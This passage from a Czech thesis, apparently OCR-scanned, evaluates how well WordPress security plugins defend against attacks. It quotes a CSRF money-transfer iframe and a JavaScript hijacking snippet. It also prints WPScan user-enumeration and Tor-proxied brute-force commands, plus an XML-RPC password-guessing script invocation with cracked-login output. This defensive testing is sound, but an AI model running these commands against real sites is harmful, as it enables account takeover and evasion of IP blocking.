vytvafet novy web, ale mize vyuzit nékterou z jiz existujicich aplikaci, které umoziuji tyto
HTML tagy ptidavat (Kiimmel, 2011 str. 83). (Grossman, a dalsi, 2007 str. 94) uvadg;ji
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nasledujici pifiklad pro zaslani milionu dolari v internetovém bankovnictvi na Gto¢nikiv
ucet:

<iframe src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=
123456></iframe>

Obranou proti CSRF muize byt vyuziti hlavicky referer, kterd obsahuje Udaj, z jaké stranky
byl pozadavek odeslan. Zaroven ale obsahuje vSechny hodnoty proménnych v URL, které
mohou byt dtvérné. Hlavicka referer mize byt z tohoto divodu prohlize¢em ¢i firewallem
blokovana a neda se na ni spolehnout. Nejucinngjsi zpusob ochrany piedstavuje pouziti
tokenl. Token je vygenerovan a odeslan spole¢né s formulafem. Soucasné je uloZen do
session nebo databaze. Po odeslani formulafe je ptfed spuSténim operace ovéfena jeho
existence a zda odpovida dané akci a uzivateli. (Kimmel, 2011 stranky 84 - 86) (Vréna,
2012 str. 363)

3.14.3 Clickjacking

Clickjacking je utok, ktery vyuziva ramy (nejcastéji iframe) k vyvolani operaci, které jsou
chranéné proti CSRF. Princip je takovy, Ze Gito€nik na své webové stranky umisti ram, ktery
obsahuje cilovy formulat. Ram ptekryje jinym obsahem, napt. hrou. Uzivatel, ktery hru hraje
ptitom netusi, Ze klikanim provadi operace v ciloveé aplikaci. Proti Clickjacking se Ize branit
pomoci JavaScriptu, ktery kontroluje, zda je stranka na vrcholu hierarchie DOM. Dalsi
moznosti je pouziti HTTP hlavicky X-Frame-Options: deny, kterd je dostupna
Vv nejnovéjsich prohlizecich a slouzi k zakdzani nacitani stranky v rdmu. Nakonec lze jeste
pouzit hlavicku frame-ancestors, kterd je soucasti bezpecnostni politiky CSP a definuje
zdroje, které mohou danou stranku do ramu nacist. (Kiimmel, 2011 strdnky 87, 91, 92)
(Vrana, 2012 str. 365)

3.14.4 JavaScript Hijacking

JavaScript Hijacking umoziuje Gto¢nikovi obejit Same Origin Policy v pfipadé, ze aplikace
pouziva JavaScript ke zpracovani davérnych informaci zptisobem, ktery nebyl pii vytvaieni
politiky piedpokladan. Same Origin Policy totiz umoziuje na jedné doméng vlozit skript
z druhé domény a ten spustit. Toho vyuzivaji uto¢nici, kteti na sviij web vlozi skript z jiné
domény a ¢ekaji, az jejich stranku navstivi uzivatel, ktery je ptihlaSen do cilové aplikace.
Duvérna data dostupna pouze ptihlasenému uzivateli, kterd jsou vloZzenym skriptem vracena,

jsou utoénikem nasledné¢ odchycena. Zranitelné jsou tedy aplikace, které pouzivaji
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JavaScript, jako mechanismus pro ptenos dat ze serveru do klientského prohlizece. Pouziva
se predevsim Ajax, tedy asynchronni pozadavek na server, ktery v odpovédi vraci data,
nejcastéji ve formatu JSON, kterd maji byt v aplikaci zobrazena. Nasledujici ptiklad ukazuje,

jak 1ze jednodu$e vypsat proménnou nonce, ktera je definovana ve skriptu cilené aplikace:

<script src="https.//wahh-network.com/status “></script>

<script> alert(nonce); </script>

(Stuttard, a dalsi, 2011 stranky 519 - 522) (Chess, a dalsi, 2007)

Proti JavaScript Hijacking je mozné se branit piidanim nevalidniho javascriptového kodu,
ktery je pied spusténim skriptu v aplikaci odstranén. VloZeny skript pomoci znacky
<script> na uto¢nikove¢ stran¢ lze ovSem pouze spustit a nikoliv upravit. Soucasné lze

nastavit, aby aplikace piijimala pouze POST pozadavky na potencialné napadnutelny skript.
(Stuttard, a dalsi, 2011 str. 524)
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4 Prakticka ¢ast

Prakticka Cast je rozdé€lena do tii ¢asti. V prvni ¢asti je stru¢ny popis vybranych pluginl se
souhrnem nabizenych funkci. V dalsi ¢asti je samotna analyza efektivnosti plugind
Z hlediska obrany proti vybranym ttokiim. Nakonec je zhodnoceni vysledki a vzajemna

komparace pluginti.
4.1 Vybraneé pluginy

Bezpecnostni pluginy systému WordPress byly vybrany na zaklad¢ poctu aktivnich instalaci
a funkci, které nabizeji. Bylo vybrano 10 nejpouzivanéjsich pluginti, které obsahuji ochranu
proti provadénym utokum. Z toho diivodu byly vynechany pluginy, které jsou sice hojné
vyuzivané, ale specializuji se pouze na konkrétni Gtoky nebo neobsahuji dostate¢ny pocet
funkci. Vynechan byl napiiklad plugin Anti-Malware Security and Brute-Force Firewall,
SiteGuard WP Plugin a Cerber Security & Antispam.

Vybrané pluginy nejcastéji obsahuji ochranu proti Gtoku hrubou silou, monitorovani b&éhu
aplikace, firewall a skenovani aplikace, tzn. hledani malwart a $kodlivych kodua. Pluginy

jsou dohledatelné na oficialnich strankach WordPressu (WordPress).
Vybrany byly nasledujici pluginy:

e Jetpack,

e Wordfence Security,

e iThemes Security,

e All In One WP Security & Firewall,
e Sucuri Security,

e Acunetix WP Security,

e BulletProof Security,

e Shield Security for WordPress,

e NinjaFirewall a NinjaScanner,

e SecuPress.

411 Jetpack

Plugin Jetpack ma vice jak 4 mil. aktivnich instalaci a 66 mil. stazeni. Patii tedy mezi

nejpouzivanéjsi bezpecnostni pluginy. Divodem je fakt, Ze kromé zabezpeceni webovych
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stranek nabizi i fadu dalsich uzite¢nych funkei. Plugin vyvinula spole¢nost Automattic Inc.
ve spolupraci s Adamem Hecklerem. V bezplatné verzi nabizi plugin nedostate¢né mnozstvi
funkci pro ochranu webovych stranek, a proto byla zakoupena verze Premium, ktera stoji
216 CZK/mésic (Jetpack). Analyzovana byla verze 5.7, kterd nabizi nésledujici

bezpecnostni funkce:

e ochrana proti Gtoku hrubou silou,

e monitorovani béhu aplikace,

e zabezpeCeni piihlasovani a dvoufazova autentizace,

e skenovani aplikace — hledani malwaru, hledani $kodlivého kodu,

e zalohovani webovych stranek.

(Automatic)

4.1.2 Wordfence Security

Wordfence Security je dalsim velice pouZivanym bezpec¢nostnim pluginem s vice jak 2 mil.
aktivnimi instalacemi a 60 mil. stazenimi (Wordfence, 2017). Nabizi se bezplatné nebo ve
verzi Premium za 100 USD/rok, ktera je obohacena o dalsi funkce. Analyzovana bude pouze

bezplatna verze 6.3.22, ktera nabizi nasledujici zabezpedeni:

o firewall, ktery slouzi k identifikaci $kodlivého zachazeni s aplikaci a zablokovani
atokd,

e manualni blokovani uzivateli nebo robotl na zaklad¢ IP adresy,

e ochrana proti utoku hrubou silou,

e skenovani aplikace — hledani malwari, $patnych URL adres, Skodlivych koda
a dalsich zranitelnych mist,

e monitorovani behu aplikace a zaznamenavani neocekavanych udalosti.

(Wordfence, 2017)

4.1.3 iThemes Security

Plugin iThemes Security ma vice jak 800 tis. aktivnich instalaci a 12 mil. stazeni. Nabizi se
v bezplatné verzi a ve verzi Pro, ktera stoji 80-197 USD/rok, podle po¢tu zabezpecenych
webovych strdnek. Analyzovana bude bezplatnd verze 6.8.0, kterd nabizi nasledujici

ochranu:

54



e ochrana proti Utoku hrubou silou,

e blokovani uzivateld, ktefi vygeneruji piili§ mnoho chyb, pii kterych server vraci
HTTP kod 404,

e vynuceni silného hesla pro uzivatelské ¢ty a moznost zmény tzv. soli u hesla,

e detekce zmén v souborech,

e zélohovani databaze,

e e-mailové upozornéni o neo¢ekavanych udalostech,

e kontrola prav soubort a slozek.

(Jean, 2017)

4.1.4 All In One WP Security & Firewall
All In One WP Security & Firewall je plugin vyvinut skupinou lidi, ktera vystupuje pod
nazvem “Tips and Tricks HQ”. Plugin ma vice jak 600 tis. aktivnich instalaci, 5 mil. stazeni,

je zdarma a analyzovana verze 4.3.1 nabizi nasledujici funkce:

e ochrana proti utoku hrubou silou,

e automatické z&lohovani databaze,

e skenovani aplikace — identifikace nespravnych prav u souboru a slozek, hledani
zmén v souborech,

e zamezeni nalezeni uzivatelského jména a detekce stejného uzivatelského jména pro
ptihlasovani a zobrazovaného jména na webu,

e monitorovani béhu aplikace a zaznamenavani neocekavanych udalosti,

o firewall — ochrana proti nejbéznéjsim utokim.

(Amin, a dalsi)

4.1.5 Sucuri Security

Sucuri Security, celym nazvem Sucuri Security — Auditing, Malware Scanner and
Hardening, je plugin vyvinuty spole¢nosti Sucuri Inc. svice jak 300 tis. aktivnimi
instalacemi a2,5 mil. stazenimi. Bezplatna verze neobsahuje firewall, a proto byla
zakoupena placena verze nazyvana CloudProxy-Basic za 10 USD/mésic (Sucuri Inc., 2018).
K plnému zprovoznéni placené verze a zprovoznéni firewallu bylo potieba nastavit nékolik
API kli¢t a zménit ,,A*“ zaznam v DNS na IP adresu definovanou v administraci na webu

Sucuri. Plugin ve zvolené verzi 1.8.11 nabizi nasledujici ochranu:
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e ochrana proti utoku hrubou silou,

o firewall — ochrana proti DOS/DDOS utoku, SQL Injection, XSS a malwaru,
e skenovani aplikace — detekce zmén v souborech, hledani malwaru,

e monitorovani béhu aplikace a zaznamenavani neocekavanych udalosti,

e Upozornéni e-mailem o provadéném utoku hrubou silou ¢i jiném utoku,

e moznost zablokovani uzivatela dle jejich IP adresy.

(Sucuri Inc.)

4.1.6 Acunetix WP Security

Acunetix WP Security je bezpe¢nostni plugin od spole¢nosti Acunetix Ltd., ktery ma vice
jak 80 tis. aktivnich instalaci a 1,5 mil. stazeni. Z neznamého duvodu je k dispozici plugin
od stejného autora ase stejnym popisem funkci, ktery se jmenuje Acunetix Secure
WordPress ama 60 tis. aktivnich instalaci. Seéteme-li instalace, tak se dostavame na
140 tis. aktivnich instalaci. V préaci bude analyzovan plugin Acunetix WP Security, ale Ize
ocekavat, ze zjisténé hodnoty budou platit i pro druhy plugin. Verze 4.0.5 nabizi nasledujici

funkce:

e skenovani aplikace a hledani zakladnich bezpecnostnich zranitelnosti,
e zamezeni prochazeni adresaie z webového rozhrani,
e zélohovani databaze a zamezeni vypisovani chyb z databaze ¢i PHP,

e monitorovani béhu aplikace a zaznamendvani neocekavanych udalosti.

(Acunetix Ltd.)

4.1.7 BulletProof Security
Plugin BulletProof Security ma 90 tis. aktivnich instalaci, 2,5 mil. stazeni a je nabizen
v bezplatné verzi a ve verzi Pro. Verze Pro stoji jednorazové 70 USD. Analyzovana bude

bezplatna verze 2.8, ktera nabizi nasledujici ochranu:

e skenovani aplikace — zmény v souborech a hledani malwaru,
e ochrana proti utoku hrubou silou,

e zabezpeCeni adresait pomoci souboru htaccess,

e zélohovani databaze,

e monitorovani béhu aplikace a zaznamendvani neocekavanych udalosti.
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(AlTpro Website Security)

4.1.8 Shield Security for WordPress

Shield Security for WordPress, zkracené Shield Security, je plugin, ktery ma 70 tis. aktivnich
instalaci, 3 mil. stazeni a nabizi se v placené abezplatné verzi. Placena verze stoji

14,5 USD/rok. Bezplatna verze 6.2.2, ktera je dale analyzovana, nabizi tyto funkce:

ochrana proti Utoku hrubou silou,

e firewall — ochrana proti nejb&éznéj$im ttoktim,
e redukovani spamu v komentafich u ¢lanku,

e nastaveni bezpecnostnich hlavicek,

e Mmonitorovani neocekavanych udélosti.

(iControlWP)

4.1.9 NinjaFirewall a NinjaScanner

NinjaFirewall a NinjaScanner jsou dva pluginy od stejného vyvojafe a v této praci byly
analyzovany jako jeden celek. Oba pluginy jsou zdarma a lze je ve WordPressu piimo
propojit a pristupovat k nim z jednoho uzivatelského rozhrani. Kvili pfehlednosti textu bude
v praci v nékterych piipadech zminovan pouze plugin NinjaFirewall, ovSem bude se jednat

o0 spojeni pluginu NinjaFirewall a NinjaScanner.

Plugin NinjaFirewall ma vice nez 20 tis. aktivnich instalaci a 250 tis. stazeni. Ve verzi
3.6 nabizi funkce jako je ochrana proti utoku hrubou silou, ochrana proti nejbéznéjSim
utokum, rozpoznani zmén v souborech, monitorovani aplikace v realném c¢ase a e-mailové
upozornéni o neo¢ekavanych udalostech. Pti instalaci 1ze zvolit WAF mod nebo Full WAF
mod, ktery dokaze aplikovat firewall napfi¢ celou adresafovou strukturou a zamezit spusténi
Skodlivych skripta (The Ninja Technologies Network, 2017). Pro analyzu tohoto pluginu byl
zvolen Full WAF mad.

NinjaScanner ma vice jak 600 aktivnich instalaci a 4 tis. stazeni. Verze 1.1 obsahuje
vylep$enou funkci pro hledani zmén v souborech a funkci pro hledani malwaru ve webové

aplikaci. (The Ninja Technologies Network)

57



4.1.10 SecuPress

SecuPress je plugin jehoz prvni verze byla vydana teprve 23.08.2016. Do dnes$niho dne
(02.02.2018) mé vice jak 8 tis. aktivnich instalaci a ptes 45 tis. stazeni. Plugin v bezplatné
verzi nabizi spoustu funkci, av§ak skenovani aplikace je dostupné pouze v placené verzi,
ktera stoji 60 EUR/rok. Zminéna funkcionalita je nezbytna pro analyzu efektivnosti pluginu
pii obrané proti vlozenému malwaru. Z tohoto divodu byla placend verze zakoupena.

Analyzovana verze 1.3.3 nabizi nésledujici funkce:

ochranu proti Gtoku hrubou silou,

o firewall — blokovani skodlivych pozadavka,

e skenovéni aplikace — hledani malwaru a zmén v souborech,
e zalohovani soubort a databaze,

e zaznamenavani neo¢ekavanych udalosti a zasilani e-mailovych upozornéni.

(SecuPress)
4.2 Analyza efektivnosti bezpe¢nostnich pluginii

Podle (Wright, 2017) ma systém WordPress nedostate¢nou ochranu proti Utoku hrubou silou,
SQL Injection, Cross-Site Scripting, malwaru a File Inclusion, kdy je snahou ziskat obsah
soubort s citlivymi informacemi. Bezpe¢nostni pluginy proto obsahuji funkce, které tyto
nedostatky redukuji. Na zakladé téchto poznatkli byla efektivnost bezpe¢nostnich plugint

analyzovéna z hlediska ochrany proti:

e 7jiSténi uzivatelského jména,

e Utoku hrubou silou,

e malwaru,

e pfistupu k soubortim s citlivymi informacemi,
e SQL Injection,

o Cross-Site Scripting.
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4.2.1 Zjisténi uzivatelského jména

K ziskani uzivatelského jména lze vyuzit néstroj WPScan, ktery je naptiklad dostupny
v opera¢nim systému Kali Linux. Tento nastroj slozi k nalezeni zranitelnosti na webovych
strankach bézicich na systému WordPress (WPScan). Jednou z jeho funkci je nalezeni
uzivatelskych jmen, kterd jsou v systému registrovana. S nastrojem se pracuje v terminalu

a piikaz pro nalezeni uzivatelu je napiiklad nasledujici:
wpscan --url domena.cz --enumerate u

V piipad€ nalezeni uZivatelii v systému, je na termindlu zobrazen jejich vycet. Ukéazka

vystupu je na nasledujicim obrazku (Obrazek 1).

Obrazek 1 - Nalezeni uzivatelé pomoci ndstroje WPScan

Identified the following 1 user/s:

Zdroj: vlastni zpracovani

Béhem analyzy bezpecnostnich pluginu bylo dale zjisténo, ze nasledujici pluginy blokuji

hledani uzivatelskych jmen pomoci néstroje WPScan:

e Wordfence Security,
e All In One WP Security,
e Shield Security,

¢ NinjaFirewall a NinjaScanner.

Uzivatelské jméno lze ziskat také zadanim parametru author s hodnotou 1, ktera znaci ID
uzivatele v databazi. Stranka je nasledné presmérovana na URL, jejiz soucasti je uzivatelské
jméno patiici danému uzivateli. Dale lze ziskat uzivatelska jména ptes REST API
WordPressu. Sta¢i zadat URL adresu /wp-json/wp/v2/users. V nékterych pluginech je mozné
podporu REST API vypnout. V nésledujici tabulce (Tabulka 1) je ptehled plugint a k nim
informace, zda =zabezpeCuji webové stranky proti ziskdni wuzivatelského jména

prostfednictvim parametru author nebo pres REST APL
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Tabulka 1 - Zabezpeceni jednotlivych pluginii proti zjisténi uzivatelského jména

oot | ooy
Jetpack Ne Ne
Wordfence Security Ano Ano
iThemes Security Ne Ano
All In One WP Security & Firewall Ano Ano
Sucuri Security Ne Ne
Acunetix WP Security Ne Ne
BulletProof Security Ne Ne
Shield Security for WordPress Ano Ano
NinjaFirewall a NinjaScanner Ano Ano
SecuPress Ne Ano

Zdroj: vlastni zpracovani

Spousta Sablon zobrazuje u ¢lanku autora s odkazem na vSechny c¢lanky, které kdy ptidal.
Defaultné se zobrazuje uzivatelské jméno. Bezpecnostni plugin by mél docilit toho, Ze se
u ¢lanku zobrazi pouze jméno a piijmeni autora. Ze stejnych tdaji by pak méla byt slozena
i URL weboveé stanky, kde jsou vSechny ¢lanky daného autora. Zaroven by mél plugin

oSetfit, aby uzivatelské jméno a jméno autora nebylo stejné.

Analyzou bezpeénostnich plugind bylo zjisténo, ze pouze plugin All In One WP Security se
snazi ziskani uzivatelského jména jesté vice eliminovat. Plugin ptidéluje body za kazdé
aktivované zabezpeceni. V piipadé jiného uzivatelského jména a jména zobrazeného vedle
¢lanku, je do celkového souctu pficteno 5 bezpecnostnich bodii. V URL vsak uzivatelské
jméno stéle existuje. Upozornéni na nedostateéné zabezpeceni uzivatelskeho jména

v pluginu All In One WP Security je na nasledujicim obrazku (Obrézek 2).
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Obréazek 2 - Upozorneni v pluginu All 1n One WP Security na stejné uzZivatelské jméno se jménem

zobrazovanym na webu

Madify Accounts With Identical Login Name & Display Name

ﬂ Basic H o/5

Your site currently has the following accounts which have an identical login name and display name. (Click on the link to edit the settings of that particular user account

wordpress4

Zdroj: vlastni zpracovani

Ze vsech testovanych plugini je na tom nejlépe plugin All In One WP Security, Wordfence,
Shield Security a NinjaFirewall. Pfestoze zminéné pluginy nabizeji dobrou ochranu, tak lze
uzivatelské jmeno stale ziskat z URL autora u ¢lanku. Uzivatel s neomezenymi pravy ve
WordPressu, by proto nikdy nemél piidavat zadny prispévek. Utoénik, ktery uZivatelské

jméno ziska, muze snadné&ji proveést utok hrubou silou.

4.2.2 Utok hrubou silou

Pro atok hrubou silou, tedy uhodnuti hesla, bude pouzit nastroj WPScan popsany
v predchozi kapitole. Zarovenn bude pouzit program Tor, ktery umoziuje anonymizaci
uzivatele (The Tor Project). Diky nému bude Gtok provadén z jiné IP adresy, neZ je adresa
skutecna. V opacném piipadé by pluginy tutok hrubou silou nemusely blokovat, protoze
soucasna IP adresa 192.168.0.1, jak bylo zjisténo, je ve vétsin¢ ptipadech ulozena v tzv.
whitelistu. Po nainstalovani a konfiguraci programu Tor do Kali Linux, dle dokumentace

(The Tor Project), sta¢i spustit Utok nastrojem WPScan, napf. timto ptikazem:

wpscan --url domena.cz --proxy socks5://127.0.0.1:9050 --wordlist wordlist.txt --username

wordpress2

WPScan projde vSechna hesla ve slovniku apokusi se snimi ptihlasit. Slovniky
s nejbéznéjsimi hesly jsou dohledatelné na internetu nebo Ize vygenerovat vlastni
prostiednictvim nastroje Crunch, ktery je také dostupny v Kali Linux. Vystup po uspé$ném

uhodnuti hesla nastrojem WPScan je na nasledujicim obrazku (Obrazek 3).
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Obrazek 3 - Uspésny iitok hrubou silou pomoci nastroje WPScan

Starting the password brute forcer

Brute Forcing 'wordpressl3' Time: 00:00:00 (0 / 162149) ©0.00% ETA: ??7:77:

Brute Forcing ‘wordpressl3' Time: 00:00:00 (1 / 162149) 0.00% ETA: 05:43:

Brute Forcing 'wordpressl3' Time: 00:00:00 (9 / 162149) 0.00% ETA: 00:38:
[SUCCESS] Login : wordpressl3 Password : DPwordpressl3123

Brute Forcing 'wordpressl3' Time: 00:00:00 (10 / 162149) 0.00% ETA: 00:35
:00

Finished: Sat Jan 13 19:50:45 2018
Requests Done: 92

Memory used: 20.262 MB

Elapsed time: 00:00:04

Zdroj: vlastni zpracovani

Na zéklad¢ teoretickych poznatkii by bezpecnostni plugin systému WordPress mél
monitorovat pokusy o piihlaseni, zablokovat uzivatele po nékolika pokusech a piihlaseni
znovu povolit az po n€kolika minutach. Zaroven by mél umoznit ochranu formulaie, napt.

pomoci captchy ¢i dvoufazového prihlaseni, a vyzadovat nastaveni slozitého hesla.

Ve WordPressu se autentizace provadi standardné ptes piihlasovaci stranku umisténou na
wp-login.php nebo pied spusténim metody v XML-RPC. XML-RPC je webova sluzba, ktera
se vyuziva pii tvorbé mobilnich aplikaci, pluginti nebo Sablon a vyzaduje ptihlaseni. Ve
WordPressu bézi na adrese xmlrpc.php. (Zhivilo, 2017)

Bezpecnostni plugin by kromé standardniho zptisobu piihlasovani na wp-login.php mél proti
atoku hrubou silou chranit také XML-RPC. Na nasledujicim obrazku (Obrazek 4) je
porovnani poctu Gtoki provedenych od 16.01.2017 do 29.01.2017 na oba zminéné zpisoby

autentizace. Je patrné, Ze zabezpe€eni obou zpusobi autentizace je stejné dalezité.
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Obrazek 4 - Celkovy pocet utokii hrubou silou na standardni prihlasovaci stranku a XML-RPC

wp-login

XMLRPC

oy iom 20M | 30M 40M 50M 60M 70M | 80M  90M |100M

Zdroj: (Maunder, 2017)

Pro utok na XML-RCP bude pouzit skript dostupny na GitHubu (Zhivilo, 2017). Konkrétné
se jedna o skript wp_find_password.rb. K provedeni utoku pod jinou IP adresou byl opét
pouzit program Tor spole¢né s nastrojem ProxyChains, ktery je jiz v Kali Linux nainstalovan

(Hoi, 2017). Utok se provadi nasledujicim piikazem:

proxychains ruby wp_find _password.rb --url http://domena.cz/xmlrcp.php --wordlist

wordlist.txt --username wordpressl

V dalsi casti této kapitoly budou analyzovany jednotlivé bezpe¢nostni pluginy a zjisténé
vysledky interpretovany. Zkoumana bude existence a funk¢énost nasledujicich funkci

v pluginu:

e Blokovani uzivatele ¢i IP adresy, z které je Utok na pfihlaSovaci formulaf provadén.

e Zaznamenani apiehledné =zobrazeni chybnych piihlaseni do administrace
a blokovanych uzivatelt, resp. IP adres.

e Moznost nastaveni po¢tu pokust, po kterych je IP adresa zablokovéana, délka jeji
blokace a zména URL piihlaSovaciho formulafe.

e Vynuceni silného uzivatelského hesla.

e Moznost nastaveni captchy a dvoufdzového piihlaseni u pfihlasovaciho formuléfe.

e Zabranéni utoku hrubou silou na XML-RPC.
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Jetpack

Plugin Jetpack nevynucuje nastaveni silného hesla, neumoziuje nastavit pocet povolenych
pokust o ptihlaSeni a ani nastavit delku blokace. V ramci ochrany proti utoku hrubou silou
pouze blokuje IP adresy na dobu, ktera je podle (Jetpack) dana nékolika blize
nespecifikovanymi faktory. Zaroveni umoznuje formulaf rozsifit o ovéfeni pies mobil nebo
zcela nahradit pfihlasovanim pies Google. Utok hrubou silou blokuje plugin oviem pouze
na piihlasovaci formulai. XML-RPC potiebuje totiz ke komunikaci s webovou aplikaci,

ktera bézi na wordpress.com.

Béhem provadéni atoku bylo zjisténo, ze plugin nedostate¢né chrani webové stranky proti
utoku hrubou silou. Pfestoze se nepodaftilo ziskat heslo pomoci nastroje WPScan, tak skript
wp_find_password.rb vyuzivajici XML-RPC byl uspé$ny. Plugin by mél blokovat i IP
adresy, z kterych se provede né€kolik neuspé$nych pokusu o piihlageni pfes XML-RPC
azarovenn lépe informovat administratora o neoCekavanych udalostech na webu.

Momentalng plugin na nasténce pouze zobrazuje pocet ttoki, které se podatilo zablokovat

(Obrazek 5).

Obrézek 5 - Zablokované Utoky na webové stranky chranéné pluginem Jetpack

Security ©

Protect O

1

Total malicious attacks blocked on your site.

Zdroj: vlastni zpracovani
Wordfence Security

Plugin Wordfence Security umoziuje nastavit blokaci IP adresy od 1 do 500 pokusii po dobu
5 minut az 1 dne. Zaroven umoziiuje nastavit blokovani IP adresy ihned po zadéani Spatného
uzivatelského jména. Vynuceni silného uzivatelského hesla lze nastavit pro vSechny

uzivatele nebo jen pro administratory a vydavatele ¢lankt (uZivatelska role publishers).
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Oproti defaultni kontrole sily hesla ve WordPressu hlida tento plugin, zda heslo obsahuje

kombinaci velkych a malych pismen a zaroven kombinaci pismen a ¢islic.

Plugin neobsahuje moznost pfidani captchy do ptihlaSovaciho formuléfe. Jediné, co
umoznuje je dvoufazové ptihlaseni prostiednictvim telefonu, které je ovSem dostupné pouze

v placené verzi pluginu.

Wordfence na svém blogu (Maunder, 2015) uvadi, Ze plugin kromé& ttoku na pfihlaSovaci
formulai chrani také utok na XML-RPC. Pii provadéni utoku pomoci nastroje WPScan
a skriptu wp_find_password.rb bylo zjisténo, Ze kromé zablokovani IP adresy kvili
prekroceni poctu pokust o piihlaSeni, plugin ihned blokuje i IP adresy, z kterych uz byl
nékdy né¢jaky utok provadén na jiné webové stranky.

Vsechna chybna ptihlaseni jsou viditelna na nasténce pluginu. Plugin také obsahuje funkci
Live Traffic, kde jsou zéznamy o pfistupu k jednotlivym souborim z prohlizece.
Zaznamenan byl opakovany pfistup na soubor wp-login.php a xmlrpc.php. Na dal$im

obrazku (Obrézek 6) je ukazka zaznamu funkce Live Traffic.

Obrazek 6 - Funkce Live Traffic v pluginu Wordfence

H Human Bot | Warning H Blocked

Filter Traffic: Al Hits : Show Advanced Filters

was locked out from logging in at http://dp.vave.cz/wordpress1/xmlirpc.php
19. 1. 2018 15:34:41 (10 minutes ago) IP: 185.104.120.4 [block] Hostname: exit03.brasshorncomms.uk
Browser: undefined

Elock this IP Block this network Run WHOIS on 185.104.120.4 See racent traffic

[0 France left htt ip.vavo.cz/v ipre and was locked out from logging in at http://dp.vavo.cz/wordpressi/wp-login.php
19. 1. 2018 15:07:34 (37 minutes ago) IP: 54.37.16.241 [block] Hostname: 241.ip-54-37-16.eu

Browser: undefined

Elock this IP Elock this network Run WHOIS on 54.37.16.241 See recent traffic

Zdroj: vlastni zpracovani

Plugin nabizi velice pfehledné monitorovani neocekavanych udalosti v aplikaci. Predevsim
sledovani pozadavkli vredlném case je velice uzitené, ovSem je nutné pocitat
se zpomalenim aplikace a zaplnénim databaze, a proto je nutné tuto funkci zapinat pouze,
kdyz je potieba. Jedina nevyhoda pluginu je absence moznosti zcela vypnout podporu XML-
RPC.
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iThemes Security

Plugin iThemes umoziiuje nastavit povoleny pocet pokusu k piihlaseni a délku blokace IP
adresy na libovolnou hodnotu. Defaultné je nastaveno pét pokust na jednu IP adresu,
deset pokustt pro jednoho uzivatele adélka blokace 5 minut. Nastaveni captchy
a dvoufazoveé autentizace lze pouze v placené verzi. Plugin zaroven vynucuje silné heslo pro
vybranou uZivatelskou roli. Oproti defaultni kontrole sily hesla vynucuje iThemes Security
zadani takového hesla, které je pti nastaveni ve WordPressu zobrazeno jako ,,Bezpecné®.
Ur¢itou kombinaci znakd plugin nevynucuje. Monitorovani neocekdvanych udalosti

vV podob¢ neplatného pokusu o piihlaSeni je dostacujici.

Plugin iThemes v ramci ochrany proti Gitoku hrubou silou umoziuje vypnout zcela podporu
pro XML-RPC. V piipadé, Ze je na webu nainstalovan plugin Jetpack nebo je XML-RPC
vyuzivano mobilni aplikaci, tak plugin umoziuje blokovat pozadavky, které obsahuji vice

pokusti o ptihlaseni.

Pii analyze efektivnosti pluginu iThemes Security byla podpora XML-RPC ponechéana
zapnuta a testovano bylo blokovani vice pokust 0 ptihlaseni. Plugin zaznamenal Utok na
wp-login.php i xmlrpc.php. IP adresu iuzivatele na 5 minut zablokoval. Zaznam
neo¢ekavanych udalosti je na nasledujicim obrazku (Obrazek 7). Vyhodou tohoto pluginu je
fakt, ze stejn¢ jako Wordfence automaticky blokuje IP adresy, z kterych byl provadén utok
na jiné weboveé stranky. Plugin dale umoznuje zménit URL standardniho piihlasovaciho

formulate. WPScan v takovém piipadé neni schopen utok proveést.

Obrézek 7 - Zdaznam neocekdavanych uddlosti na webovych strankdch v pluginu iThemes Security

Function Priarity Time Host User URL Referrer Data
Invalid Login 5 2018-01-19 145.239.91.3 wordpress2 Details
Attempt 18:17:25 7

Host or User 10 2018-01-19 145.239.91.3 Details
Lockout 15:17:25 7

Invalid Login 5 2018-01-19 145.239.91.3 wordpress2 Details
Attempt 15:17:23 7

Zdroj: vlastni zpracovani
All In One WP Security & Firewall

All In One WP Security umoziuje nastavit pocet pokust pied zablokovanim IP adresy,

casovou délku blokace, okamzité zablokovani pii zadani Spatného uZivatelského jména
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a nastavit obecnou chybovou hlasku, kterd uto¢nikovi stizi hadani. Déle plugin umoziuje
pfejmenovat piihlasovaci stranku, nastavit captchu nebo tzv. Honeypot, coz je skryté
formulatové pole, které bézny uzivatel nevyplni, ovSem robot ano. Vynuceni silného

uzivatelského hesla vsak v pluginu All In One WP Security nastavit nelze.

Oproti ostatnim analyzovanym pluginim ma All In One WP Security funkci, kterd Gtok
hrubou silou zastavuje jesté pred spusténim PHP kddu, a tedy zpomalenim aplikace. Do
souboru .htaccess je ptidana kontrola cookies. Zadanim spravné URL se cookies nastavi na
pozadovanou hodnotu, Vv htaccessu se hodnota ovéfi auzivatel je presmérovan na

piihlasovaci stranku. V opacném ptipad¢ se uzivateli ptihlasovaci strdnka nezobrazi.

XML-RPC lIze kompletné v pluginu vypnout nebo ponechat zapnuté aspoléhat se na
zablokovani IP adresy pii nékolika neuspéSnych pokusech o piihlaSeni. Plugin zaroven
umoziiuje vypnout pouze funkcionalitu Pingback v XML-RPC, ktera se pouziva k provadéni
DDoS utoku.

Pii provadéni utoku hrubou silou byla IP adresa zablokovana u piihlasovaciho formulafe
i XML-RPC. Blokovanim IP adres, z kterych byl jiz diive provadén néjaky utok na jiné
webove stranky, plugin nedisponuje. Piizapnuti captchy nebo ochrany zaloZené na cookies

se utok pomoci nastroje WPScan nepodatilo provést.

All In One WP Security na nasténce zobrazuje zablokované IP adresy, jejichz podrobnéjsi
prehled je na samostatné strance. Neuspésné pokusy o piihlaSeni jsou také na samostatné

strance.
Sucuri Security

Bezplatnd verze pluginu Sucuri Security neobsahuje ochranu proti Gtoku hrubou silou
vV podob¢ blokovani IP adres. Plugin pouze informuje uzivatele o tom, Ze je utok provadén
prostiednictvim e-mailu. Defaultné je nastaveno 30 neuspé$nych pokust o pfihlaSeni, na
zakladé, kterych je pluginem urceno, Ze se jedna o utok hrubou silou. Pocet pokusii Ize
nastavit od 30 do 480. Zaznamy o0 neocekavanych udalostech v aplikaci jsou na nasténce.
Neuspésné pokusy o pfihldSeni nebo blokovani uzivatelé jsou detailnéji popsany na
samostatné strance. Béhem utoku na webové stranky s bezplatnou verzi pluginu byl odeslan
e-mail pouze pfi utoku na ptihlaSovaci formulat pomoci nastroje WPScan. Pfi utoku na

XML-RPC e-mail odeslan nebyl, avSak neuspesné piihlaseni zaznamenano bylo.

67



Béhem analyzy efektivnosti pluginu Sucuri Security z hlediska obrany proti Gtoku hrubou
silou, byla zakoupena placena verze, ktera umoziuje nastavit firewall. Diky tomu, ze veskera
